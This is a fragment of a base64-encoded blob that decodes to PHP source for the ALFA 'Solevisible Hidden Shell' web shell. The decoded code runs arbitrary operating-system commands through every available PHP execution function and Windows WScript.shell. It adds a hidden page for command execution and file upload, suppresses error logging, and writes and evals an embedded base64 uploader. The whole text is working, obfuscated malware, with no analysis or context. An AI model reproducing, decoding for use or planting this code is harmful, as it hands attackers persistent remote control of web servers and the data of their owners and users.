09InB5Iikkc291cmNlID0gJHB5O2Vsc2UgJHNvdXJjZSA9ICRiYXNoOw0KCQkJYWxmYVdyaXRlVG9jZ2lhcGkoJGxhbmcuIi5hbGZhIiwkc291cmNlKTsNCgkJCWFsZmFjZ2lodGFjY2VzcygnY2dpJywgImFsZmFjZ2lhcGkvIik7DQoJCX1lbHNlew0KCQkJJGxhbmcgPSAkX1NFU1NJT05bImFsZmFjZ2lhcGkiXTsNCgkJfQ0KCQkkY21kID0gImNoZWNrPVczTnZiR1YyYVhOcFlteGxmbUZ3YVYwPSZjbWQ9Ii5fX1pXNWpiMlJsY2coImNkICIuJEdMT0JBTFNbJ2N3ZCddLiI7Ii4kY21kKTsNCgkJaWYoJGlzX2N1cmwpew0KCQkJJGFkZHJlc3MgPSAoJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzID8gImh0dHBzOi8vIiA6ICJodHRwOi8vIikuJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uZGlybmFtZSgkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSkuIi9hbGZhY2dpYXBpLyIuJGxhbmcuIi5hbGZhIjsNCgkJCSRwb3N0ID0gbmV3IEFsZmFDVVJMKCk7DQoJCQkkZGF0YSA9ICRwb3N0LT5TZW5kKCRhZGRyZXNzLCAicG9zdCIsICRjbWQpOw0KCQl9ZWxzZWlmKCRpc19zb2NrZXQpew0KCQkJJHNlcnZlciA9ICRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdOw0KCQkJJHVyaSA9IGRpcm5hbWUoJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0pLiIvYWxmYWNnaWFwaS8iLiRsYW5nLiIuYWxmYSI7DQoJCQkkZGF0YSA9IF9hbGZhX2Zzb2Nrb3Blbigkc2VydmVyLCR1cmksJGNtZCk7DQoJCX0NCgkJJG91dCA9ICIiOw0KCQlpZihzdHJzdHIoJGRhdGEsICJbc29sZXZpc2libGV+YXBpXSIpKXsNCgkJCSRfU0VTU0lPTlsiYWxmYWNnaWFwaSJdID0gJGxhbmc7DQoJCQlpZihAcHJlZ19tYXRjaCgiLzxwcmU+KC4qPyk8XC9wcmU+L3MiLCAkZGF0YSwgJHJlcykpew0KCQkJCSRvdXQgPSAkcmVzWzFdOw0KCQkJfQ0KCQl9ZWxzZWlmKCRsYW5nPT0icGVybCIpew0KCQkJcmV0dXJuIF9hbGZhX2NnaWNtZCgkY21kX3B1cmUsInB5Iik7DQoJCX1lbHNlaWYoJGxhbmc9PSJweSIpew0KCQkJcmV0dXJuIF9hbGZhX2NnaWNtZCgkY21kX3B1cmUsImJhc2giKTsNCgkJfWVsc2V7DQoJCQkkX1NFU1NJT05bImFsZmFjZ2lhcGlfbW9kZSJdID0gIm9mZiI7DQoJCX0NCgkJcmV0dXJuIHRyaW0oJG91dCk7DQoJfWVsc2V7DQoJCXJldHVybiAiIjsNCgl9DQp9DQpmdW5jdGlvbiBhbGZhRXgoJGluLCRyZT1mYWxzZSwkY2dpPXRydWUsJGFsbD1mYWxzZSl7DQoJJGRhdGEgPSBfYWxmYV9waHBfY21kKCRpbiwkcmUpOw0KCWlmKGVtcHR5KCRkYXRhKSYmJGNnaXx8JGFsbCl7DQoJCWlmKCRHTE9CQUxTWydzeXMnXT09J3VuaXgnKXsNCgkJCWlmKHN0cmxlbihfYWxmYV9waHBfY21kKCJ3aG9hbWkiKSk9PTB8fCRhbGwpew0KCQkJCSRjbWQgPSBfYWxmYV9jZ2ljbWQoJGluKTsNCgkJCQlpZighZW1wdHkoJGNtZCkpew0KCQkJCQlyZXR1cm4gJGNtZDsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoJcmV0dXJuICRkYXRhOw0KfQ0KZnVuY3Rpb24gX2FsZmFfcGhwX2NtZCgkaW4sJHJlPWZhbHNlKXsNCiRvdXQ9Jyc7DQp0cnl7DQppZigkcmUpJGluPSRpbi4iIDI+JjEiOw0KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpew0KQGV4ZWMoJGluLCRvdXQpOw0KJG91dCA9IEBqb2luKCJcbiIsJG91dCk7DQp9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgew0Kb2Jfc3RhcnQoKTsNCkBwYXNzdGhydSgkaW4pOw0KJG91dCA9IG9iX2dldF9jbGVhbigpOw0KfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKXsNCm9iX3N0YXJ0KCk7DQpAc3lzdGVtKCRpbik7DQokb3V0ID0gb2JfZ2V0X2NsZWFuKCk7DQp9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsNCiRvdXQgPSBzaGVsbF9leGVjKCRpbik7DQp9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygicG9wZW4iKSYmZnVuY3Rpb25fZXhpc3RzKCJwY2xvc2UiKSl7DQppZihpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpew0KJG91dCA9ICIiOw0Kd2hpbGUoIUBmZW9mKCRmKSkNCiRvdXQgLj0gZnJlYWQoJGYsMTAyNCk7DQpwY2xvc2UoJGYpOw0KfQ0KfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Byb2Nfb3BlbicpKXsNCiRwaXBlcyA9IGFycmF5KCk7DQokcHJvY2VzcyA9IEBwcm9jX29wZW4oJGluLicgMj4mMScsIGFycmF5KGFycmF5KCJwaXBlIiwidyIpLCBhcnJheSgicGlwZSIsInciKSwgYXJyYXkoInBpcGUiLCJ3IikpLCAkcGlwZXMsIG51bGwpOw0KJG91dD1Ac3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOw0KfWVsc2VpZihjbGFzc19leGlzdHMoJ0NPTScpKXsNCiRhbGZhV3MgPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7DQokZXhlYyA9ICRhbGZhV3MtPmV4ZWMoJ2NtZC5leGUgL2MgJy4kX1BPU1RbJ2FsZmExJ10pOw0KJHN0ZG91dCA9ICRleGVjLT5TdGRPdXQoKTsNCiRvdXQ9JHN0ZG91dC0+UmVhZEFsbCgpOw0KfQ0KfWNhdGNoKEV4Y2VwdGlvbiAkZSl7fQ0KcmV0dXJuICRvdXQ7DQp9DQpmdW5jdGlvbiBfYWxmYV9mc29ja29wZW4oJHNlcnZlciwkdXJpLCRwb3N0KXsNCgkkc29ja2V0ID0gQGZzb2Nrb3Blbigkc2VydmVyLCA4MCwgJGVycm5vLCAkZXJyc3RyLCAxNSk7DQoJaWYoJHNvY2tldCl7DQoJCSRodHRwICA9ICJQT1NUIHskdXJpfSBIVFRQLzEuMFxyXG4iOw0KCQkkaHR0cCAuPSAiSG9zdDogeyRzZXJ2ZXJ9XHJcbiI7DQoJCSRodHRwIC49ICJVc2VyLUFnZW50OiAiIC4gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddIC4gIlxyXG4iOw0KCQkkaHR0cCAuPSAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWRcclxuIjsNCgkJJGh0dHAgLj0gIkNvbnRlbnQtbGVuZ3RoOiAiIC4gc3RybGVuKCRwb3N0KSAuICJcclxuIjsNCgkJJGh0dHAgLj0gIkNvbm5lY3Rpb246IGNsb3NlXHJcblxyXG4iOw0KCQkkaHR0cCAuPSAkcG9zdCAuICJcclxuXHJcbiI7DQoJCWZ3cml0ZSgkc29ja2V0LCAkaHR0cCk7DQoJCSRjb250ZW50cyA9ICIiOw0KCQl3aGlsZSAoIUBmZW9mKCRzb2NrZXQpKSB7DQoJCQkkY29udGVudHMgLj0gQGZnZXRzKCRzb2NrZXQsIDQwOTYpOw0KCQl9DQoJCWxpc3QoJGhlYWRlciwgJGJvZHkpID0gZXhwbG9kZSgiXHJcblxyXG4iLCAkY29udGVudHMsIDIpOw0KCQlAZmNsb3NlKCRzb2NrZXQpOw0KCQlyZXR1cm4gJGJvZHk7DQoJfWVsc2V7DQoJCXJldHVybiAiIjsNCgl9DQp9DQppZihpc3NldCgkX0dFVFsic29sZXZpc2libGUiXSkpew0KQGVycm9yX3JlcG9ydGluZyhFX0FMTCBeIEVfTk9USUNFKTsNCmVjaG8gJzxodG1sPic7DQplY2hvICI8dGl0bGU+U29sZXZpc2libGUgSGlkZGVuIFNoZWxsPC90aXRsZT4iOw0KZWNobyAiPGJvZHkgYmdjb2xvcj0jMDAwMDAwPiI7DQplY2hvICc8Yj48YmlnPjxmb250IGNvbG9yPSM3Q0ZDMDA+S2VybmVsIDogPC9mb250Pjxmb250IGNvbG9yPSIjRkZGRkYiPicuKGZ1bmN0aW9uX2V4aXN0cygncGhwX3VuYW1lJyk/cGhwX3VuYW1lKCk6Jz8/PycpLic8L2ZvbnQ+PC9iPjwvYmlnPic7DQokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOw0KaWYoJHNhZmVfbW9kZSl7JHIgPSAiPGIgc3R5bGU9J2NvbG9yOiByZWQnPk9uPC9iPiI7fWVsc2V7JHIgPSAiPGIgc3R5bGU9J2NvbG9yOiBncmVlbic+T2ZmPC9iPiI7fQ0KZWNobyAiPGJyPjxiIHN0eWxlPSdjb2xvcjogIzdDRkMwMCc+T1M6IDwvZm9udD48Zm9udCBjb2xvcj13aGl0ZT4iIC4gUEhQX09TIC4gIjwvZm9udD48YnI+IjsNCmVjaG8gIjxiIHN0eWxlPSdjb2xvcjogIzdDRkMwMCc+U29mdHdhcmU6IDwvZm9udD48Zm9udCBjb2xvcj13aGl0ZT4iIC4gJF9TRVJWRVIgWydTRVJWRVJfU09GVFdBUkUnXSAuICI8L2ZvbnQ+PGJyPiI7DQplY2hvICJQSFAgVmVyc2lvbjogPGZvbnQgY29sb3I9d2hpdGU+IiAuIFBIUF9WRVJTSU9OIC4gICI8L2ZvbnQ+PGJyIC8+IjsNCmVjaG8gIlBXRDo8Zm9udCBjb2xvcj0jRkZGRkZGPiAiIC4gc3RyX3JlcGxhY2UoIlxcIiwiLyIsQGdldGN3ZCgpKSAuICIvPGJyIC8+IjsNCmVjaG8gIjxiIHN0eWxlPSdjb2xvcjogIzdDRkMwMCc+U2FmZSBNb2RlIDogJHI8YnI+IjsNCmVjaG8iPGZvbnQgY29sb3I9IzdDRkMwMD5EaXNhYmxlIGZ1bmN0aW9ucyA6IDwvZm9udD4iOw0KJGRpc2Z1biA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOw0KaWYoZW1wdHkoJGRpc2Z1bikpeyRkaXNmdW4gPSAnPGZvbnQgY29sb3I9ImdyZWVuIj5OT05FPC9mb250Pic7fQ0KZWNobyI8Zm9udCBjb2xvcj1yZWQ+IjsNCmVjaG8gIiRkaXNmdW4iOw0KZWNobyI8L2ZvbnQ+PGJyPiI7DQplY2hvICI8YiBzdHlsZT0nY29sb3I6ICM3Q0ZDMDAnPllvdXIgSXAgQWRkcmVzcyBpcyA6ICA8L2ZvbnQ+PGZvbnQgY29sb3I9d2hpdGU+IiAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gIjwvZm9udD48YnI+IjsNCmVjaG8gIjxiIHN0eWxlPSdjb2xvcjogIzdDRkMwMCc+U2VydmVyIElwIEFkZHJlc3MgaXMgOiAgPC9mb250Pjxmb250IGNvbG9yPXdoaXRlPiIuKGZ1bmN0aW9uX2V4aXN0cygnZ2V0aG9zdGJ5bmFtZScpP0BnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk6Jz8/PycpLiI8L2ZvbnQ+PGJyPjxwPiI7DQplY2hvICc8aHI+PGNlbnRlcj48Zm9ybSBvblN1Ym1pdD0idGhpcy51cGxvYWQuZGlzYWJsZWQ9dHJ1ZTt0aGlzLmN3ZC52YWx1ZSA9IGJ0b2EodW5lc2NhcGUoZW5jb2RlVVJJQ29tcG9uZW50KHRoaXMuY3dkLnZhbHVlKSkpOyIgYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0idXBsb2FkZXIiIGlkPSJ1cGxvYWRlciI+JzsNCmVjaG8gJ0NXRDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImN3ZCIgdmFsdWU9Iicuc3RyX3JlcGxhY2UoIlxcIiwiLyIsQGdldGN3ZCgpKS4nLyIgc2l6ZT0iNTkiPjxwPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9InVwbG9hZCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOw0KaWYoaXNzZXQoJF9GSUxFU1snZmlsZSddKSl7DQppZihAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgX19aR1ZqYjJSbGNnKEAkX1BPU1RbJ2N3ZCddKS4nLycuJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKXtlY2hvICc8Yj48Zm9udCBjb2xvcj0iIzdDRkMwMCI+PGNlbnRlcj5VcGxvYWQgU3VjY2Vzc2Z1bGx5IDspPC9mb250PjwvYT48Zm9udCBjb2xvcj0iIzdDRkMwMCI+PC9iPjxicj48YnI+PC9jZW50ZXI+JzsgfQ0KZWxzZXtlY2hvICc8Y2VudGVyPjxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj5VcGxvYWQgZmFpbGVkIDooPC9mb250PjwvYT48Zm9udCBjb2xvcj0iIzdDRkMwIj48L2I+PC9jZW50ZXI+PGJyPjxicj4nOyB9DQp9DQplY2hvICc8aHI+PGZvcm0gb25TdWJtaXQ9InRoaXMuZXhlY3V0ZS5kaXNhYmxlZD10cnVlO3RoaXMuY29tbWFuZF9zb2xldmlzaWJsZS52YWx1ZSA9IGJ0b2EodW5lc2NhcGUoZW5jb2RlVVJJQ29tcG9uZW50KHRoaXMuY29tbWFuZF9zb2xldmlzaWJsZS52YWx1ZSkpKTsiIG1ldGhvZD0iUE9TVCI+RXhlY3V0ZSBDb21tYW5kOiA8aW5wdXQgbmFtZT0iY29tbWFuZF9zb2xldmlzaWJsZSIgdmFsdWU9IiIgc2l6ZT0iNTkiIHR5cGU9InRleHQiIGFsaWduPSJsZWZ0IiA+PGlucHV0IG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiB0eXBlPSJzdWJtaXQiPjxicj48L2Zvcm0+DQo8aHI+PHByZT4nOw0KaWYoaXNzZXQoJF9QT1NUWydjb21tYW5kX3NvbGV2aXNpYmxlJ10pKXsNCmlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKT09IndpbiIpJHNlcGFyYXRvcj0nJic7ZWxzZSAkc2VwYXJhdG9yPSc7JzsNCiRzb2xldmlzaWJsZSA9ICJjZCAnIi5hZGRzbGFzaGVzKHN0cl9yZXBsYWNlKCJcXCIsIi8iLEBnZXRjd2QoKSkpLiInIi4kc2VwYXJhdG9yLiIiLl9fWkdWamIyUmxjZygkX1BPU1RbJ2NvbW1hbmRfc29sZXZpc2libGUnXSk7DQplY2hvIGFsZmFFeCgkc29sZXZpc2libGUpOw0KfQ0KZWNobyc8L3ByZT4NCjwvYm9keT48L2h0bWw+JzsNCmV4aXQ7fQ0KQGVycm9yX3JlcG9ydGluZyhFX0FMTCBeIEVfTk9USUNFKTsNCkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOw0KQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOw0KQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7DQpAaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCmlmKGZ1bmN0aW9uX2V4aXN0cygnc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lJykpew0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCn0NCmZvcmVhY2goJF9QT1NUIGFzICRrZXkgPT4gJHZhbHVlKXsNCmlmKGlzX2FycmF5KCRfUE9TVFska2V5XSkpew0KJGk9MDsNCmZvcmVhY2goJF9QT1NUWyRrZXldIGFzICRmKSB7DQokZiA9IHRyaW0oc3RyX3JlcGxhY2UoJyAnLCAnKycsJGYpKTsNCiRfUE9TVFska2V5XVskaV0gPSBkZWNyeXB0X3Bvc3QoJGYsIF9BbGZhU2VjcmV0S2V5KCkpOw0KJGkrKzsNCn0NCn1lbHNlew0KJHZhbHVlID0gdHJpbShzdHJfcmVwbGFjZSgnICcsICcrJywkdmFsdWUpKTsNCiRfUE9TVFska2V5XSA9IGRlY3J5cHRfcG9zdCgkdmFsdWUsIF9BbGZhU2VjcmV0S2V5KCkpOw0KfQ0KfQ0KJGRlZmF1bHRfYWN0aW9uID0gJ0ZpbGVzTWFuJzsNCiRkZWZhdWx0X3VzZV9hamF4ID0gdHJ1ZTsNCiRkZWZhdWx0X2NoYXJzZXQgPSAnV2luZG93cy0xMjUxJzsNCmlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKT09IndpbiIpDQokR0xPQkFMU1snc3lzJ109J3dpbic7DQplbHNlDQokR0xPQkFMU1snc3lzJ109J3VuaXgnOw0KJEdMT0JBTFNbJ2hvbWVfY3dkJ10gPSBAZ2V0Y3dkKCk7DQppZigkX1BPU1RbImEiXSAhPSAiR2V0UGF0aEhpc3RvcnkiKXsNCglpZigkX1NFU1NJT05bX19MQVNUX0NXRF9fXSE9JF9QT1NUWydjJ10pew0KCQkkX1NFU1NJT05bX19QQVRIX0hJU1RPUllfX10gPSAkX1NFU1NJT05bX19MQVNUX0NXRF9fXTsNCgl9DQp9DQokR0xPQkFMU1sibmVlZF90b191cGRhdGVfaGVhZGVyIl0gPSAiZmFsc2UiOw0KaWYoaXNzZXQoJF9QT1NUWydjJ10pKXsNCmlmKCFAY2hkaXIoJF9QT1NUWydjJ10pKXsNCgkkR0xPQkFMU1snZ2xvYl9jaGRpcl9mYWxzZSddID0gdHJ1ZTsNCn0NCn0NCiRHTE9CQUxTWydjd2QnXSA9IChpc3NldCgkX1NFU1NJT05bX19MQVNUX0NXRF9fXSkmJiRfU0VTU0lPTltfX0xBU1RfQ1dEX19dIT0nJyYmIWlzc2V0KCRfUE9TVFsnYyddKT8kX1NFU1NJT05bX19MQVNUX0NXRF9fXTpAZ2V0Y3dkKCkpOw0KaWYoIUBpc19kaXIpeyRHTE9CQUxTWydjd2QnXSA9IEBnZXRjd2QoKTt9DQppZigkR0xPQkFMU1snc3lzJ10gPT0gJ3dpbicpew0KJEdMT0JBTFNbJ2hvbWVfY3dkJ10gPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRHTE9CQUxTWydob21lX2N3ZCddKTsNCiRHTE9CQUxTWydjd2QnXSA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsNCiRfU0VTU0lPTltfX1BBVEhfSElTVE9SWV9fXSA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJF9TRVNTSU9OW19fUEFUSF9ISVNUT1JZX19dKTsNCn0NCmlmKCRHTE9CQUxTWydjd2QnXVtzdHJsZW4oJEdMT0JBTFNbJ2N3ZCddKS0xXSAhPSAnLycgKSRHTE9CQUxTWydjd2QnXSAuPSAnLyc7DQpmdW5jdGlvbiBhbGZhR2V0UGF0aEhpc3RvcnkoKXtlY2hvIChpc3NldCgkX1NFU1NJT05bX19QQVRIX0hJU1RPUllfX10pJiYhZW1wdHkoJF9TRVNTSU9OW19fUEFUSF9ISVNUT1JZX19dKT8kX1NFU1NJT05bX19QQVRIX0hJU1RPUllfX106ICRHTE9CQUxTWydob21lX2N3ZCddKTt9DQpmdW5jdGlvbiBhbGZhaGVhZCgpew0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3lzX2dldF90ZW1wX2RpcicpKXtmdW5jdGlvbiBzeXNfZ2V0X3RlbXBfZGlyKCkge2ZvcmVhY2ggKGFycmF5KCdUTVAnLCAnVEVNUCcsICdUTVBESVInKSBhcyAkZW52X3Zhcikge2lmICgkdGVtcCA9IGdldGVudigkZW52X3ZhcikpIHtyZXR1cm4gJHRlbXA7fX0kdGVtcCA9IHRlbXBuYW0oJEdMT0JBTFNbJ19fZmlsZV9wYXRoJ10sICcnKTtpZiAoX2FsZmFfZmlsZV9leGlzdHMoJHRlbXAsZmFsc2UpKSB7dW5saW5rKCR0ZW1wKTtyZXR1cm4gZGlybmFtZSgkdGVtcCk7fXJldHVybiBudWxsO319DQokR0xPQkFMU1snX19BTEZBX1NIRUxMX0NPREUnXSA9ICdQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanhtYjI1MElHTnZiRzl5UFZ3aUl6ZERSa013TUZ3aVBseHVQR0p5UGx4dVBHSnlQbHh1UEdObGJuUmxjajQ4Wm05dWRDQmpiMnh2Y2oxY0lpTTNRMFpETURCY0lqNDhZbWxuUGxOdmJHVjJhWE5wWW14bElGVndiRzloWkNCQmNtVmhQQzlpYVdjK1BDOW1iMjUwUGp3dllUNDhabTl1ZENCamIyeHZjajFjSWlNM1EwWkRNREJjSWo0OEwyWnZiblErUEM5alpXNTBaWEkrUEdKeVBseHVQR05sYm5SbGNqNDhabTl5YlNCdFpYUm9iMlE5SjNCdmMzUW5JR1Z1WTNSNWNHVTlKMjExYkhScGNHRnlkQzltYjNKdExXUmhkR0VuSUc1aGJXVTlKM1Z3Ykc5aFpHVnlKejRpTzJWamFHOGdKenhwYm5CMWRDQjBlWEJsUFNKbWFXeGxJaUJ1WVcxbFBTSm1hV3hsSWlCemFYcGxQU0kwTlNJK1BHbHVjSFYwSUc1aGJXVTlJbDkxY0d3aUlIUjVjR1U5SW5OMVltMXBkQ0lnYVdROUlsOTFjR3dpSUhaaGJIVmxQU0pWY0d4dllXUWlQand2Wm05eWJUNDhMMk5sYm5SbGNqNG5PMmxtS0dsemMyVjBLQ1JmVUU5VFZGc25YM1Z3YkNkZEtTWW1KRjlRVDFOVVd5ZGZkWEJzSjEwOVBTQWlWWEJzYjJGa0lpbDdhV1lvUUcxdmRtVmZkWEJzYjJGa1pXUmZabWxzWlNna1gwWkpURVZUV3lkbWFXeGxKMTFiSjNSdGNGOXVZVzFsSjEwc0lDUmZSa2xNUlZOYkoyWnBiR1VuWFZzbmJtRnRaU2RkS1NrZ2UyVmphRzhnSnp4aVBqeG1iMjUwSUdOdmJHOXlQU0lqTjBOR1F6QXdJajQ4WTJWdWRHVnlQbFZ3Ykc5aFpDQlRkV05qWlhOelpuVnNiSGtnT3lrOEwyWnZiblErUEM5aFBqeG1iMjUwSUdOdmJHOXlQU0lqTjBOR1F6QXdJajQ4TDJJK1BHSnlQanhpY2o0bk8zMWxiSE5sZTJWamFHOGdKenhpUGp4bWIyNTBJR052Ykc5eVBTSWpOME5HUXpBd0lqNDhZMlZ1ZEdWeVBsVndiRzloWkNCbVlXbHNaV1FnT2lnOEwyWnZiblErUEM5aFBqeG1iMjUwSUdOdmJHOXlQU0lqTjBOR1F6QXdJajQ4TDJJK1BHSnlQanhpY2o0bk8zMTlaV05vYnlBblBHTmxiblJsY2o0OGMzQmhiaUJ6ZEhsc1pUMGlabTl1ZEMxemFYcGxPak13Y0hnN0lHSmhZMnRuY205MWJtUTZJSFZ5YkNnbWNYVnZkRHRvZEhSd09pOHZjMjlzWlhacGMybGliR1V1WTI5dEwybHRZV2RsY3k5aVoxOWxabVpsWTNSZmRYQXVaMmxtSm5GMWIzUTdLU0J5WlhCbFlYUXRlQ0J6WTNKdmJHd2dNQ1VnTUNVZ2RISmhibk53WVhKbGJuUTdJR052Ykc5eU9pQnlaV1E3SUhSbGVIUXRjMmhoWkc5M09pQTRjSGdnT0hCNElERXpjSGc3SWo0OGMzUnliMjVuUGp4aVBqeGlhV2MrYzI5c1pYWnBjMmxpYkdWQVoyMWhhV3d1WTI5dFBDOWlQand2WW1sblBqd3ZjM1J5YjI1blBqd3ZjM0JoYmo0OEwyTmxiblJsY2o0bk96OCsnOw0KJGFsZmFfdXBsb2FkZXIgPSAnJHggPSBiYXNlNjRfZGVjb2RlKCInLiRHTE9CQUxTWydfX0FMRkFfU0hFTExfQ09ERSddLiciKTskc29sZXZpc2libGUgPSBmb3Blbigic29sZXZpc2libGUucGhwIiwidyIpO2Z3cml0ZSgkc29sZXZpc2libGUsJHgpOyc7DQpkZWZpbmUoIkFMRkFfVVBMT0FERVIiLCAiZXZhbChiYXNlNjRfZGVjb2RlKCciLl9fWlc1amIyUmxjZygkYWxmYV91cGxvYWRlcikuIicpKSIpOw0KZGVmaW5lKCJBTEZBX1RFTVBESVIiLCAoZnVuY3Rpb25fZXhpc3RzKCJzeXNfZ2V0X3RlbXBfZGlyIikgPyAoQGlzX3dyaXRhYmxlKHN0cl9yZXBsYWNlKCdcXCcsJy8nLHN5c19nZXRfdGVtcF9kaXIoKSkpP3N5c19nZXRfdGVtcF9kaXIoKTooQGlzX3dyaXRhYmxlKCcuJyk/Jy4nOmZhbHNlKSkgOiBmYWxzZSkpOw0KaWYoIWlzc2V0KCRfUE9TVFsnYWpheCddKSl7DQpmdW5jdGlvbiBBbGZhX0dldERpc2FibGVfRnVuY3Rpb24oKXsNCiRkaXNmdW4gPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsNCiRhZmEgPSAnPHNwYW4gY2xhc3M9ImhlYWRlcl9zaG93X2FsbCI+QWxsIEZ1bmN0aW9ucyBBY2Nlc3NpYmxlPC9zcGFuPic7DQppZihlbXB0eSgkZGlzZnVuKSlyZXR1cm4oJGFmYSk7DQokcyA9IGV4cGxvZGUoJywnLCRkaXNmdW4pOw0KJHMgPSBhcnJheV91bmlxdWUoJHMpOw0KJGk9MDsNCiRiPTA7DQokZnVuYyA9IGFycmF5KCdzeXN0ZW0nLCdleGVjJywnc2hlbGxfZXhlYycsJ3Byb2Nfb3BlbicsJ3BvcGVuJywncGFzc3RocnUnLCdzeW1saW5rJywnZGwnKTsNCiRibGFja19saXN0ID0gYXJyYXkoKTsNCiRhbGxvd19saXN0ID0gYXJyYXkoKTsNCmZvcmVhY2goJHMgYXMgJGQpew0KCSRkPXRyaW0oJGQpOw0KCWlmKGVtcHR5KCRkKXx8IWlzX2NhbGxhYmxlKCRkKSljb250aW51ZTsNCglpZighZnVuY3Rpb25fZXhpc3RzKCRkKSl7DQoJCWlmKGluX2FycmF5KCRkLCRmdW5jKSl7DQoJCQkkZGlzIC49ICRkLiIgfCAiOyRiKys7DQoJCQkkYmxhY2tfbGlzdFtdID0gJGQ7DQoJCX1lbHNlew0KCQkJJGFsbG93X2xpc3RbXSA9ICRkOw0KCQl9DQoJCSRpKys7DQoJfQ0KfQ0KaWYoJGk9PTApcmV0dXJuKCRhZmEpOw0KaWYoJGkgPD0gY291bnQoJGZ1bmMpKXsNCiRhbGwgPSBhcnJheV92YWx1ZXMoYXJyYXlfbWVyZ2UoJGJsYWNrX2xpc3QsICRhbGxvd19saXN0KSk7DQpyZXR1cm4oJzxzcGFuIGNsYXNzPSJkaXNhYmxlX2Z1bmN0aW9ucyI+Jy5pbXBsb2RlKCIgfCAiLCAkYWxsKS4nPC9zcGFuPicpOw0KfQ0KcmV0dXJuKCc8c3BhbiBjbGFzcz0iZGlzYWJsZV9mdW5jdGlvbnMiPicuJGRpcy4nPC9zcGFuPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdHZXREaXNGdW5jXCcsbnVsbCxcJ3dwXCcpOyI+PHNwYW4gY2xhc3M9ImhlYWRlcl9zaG93X2FsbCI+U2hvdyBBbGwgKCcuJGkuJyk8L3NwYW4+PC9hPicpOw0KfQ0KZnVuY3Rpb24gQWxmYU51bSgpew0KJGFyZ3MgPSBmdW5jX2dldF9hcmdzKCk7DQokYWxmYXggPSBhcnJheSgpOw0KJGZpbmQgPSBhcnJheSgpOw0KZm9yKCRpPTE7JGk8PTEwOyRpKyspew0KJGFsZmF4W10gPSAkaTsNCn0NCmZvcmVhY2goJGFyZ3MgYXMgJGFyZyl7DQokZmluZFtdID0gJGFyZzsNCn0NCmVjaG8gJzxzY3JpcHQ+JzsNCmZvcmVhY2goJGFsZmF4IGFzICRhbGZhKXsNCmlmKGluX2FycmF5KCRhbGZhLCRmaW5kKSkNCmNvbnRpbnVlOw0KZWNobyAnYWxmYScuJGFsZmEuIl89IjsNCn0NCmVjaG8gJyIiPC9zY3JpcHQ+JzsNCn0NCmlmKGVtcHR5KCRfUE9TVFsnY2hhcnNldCd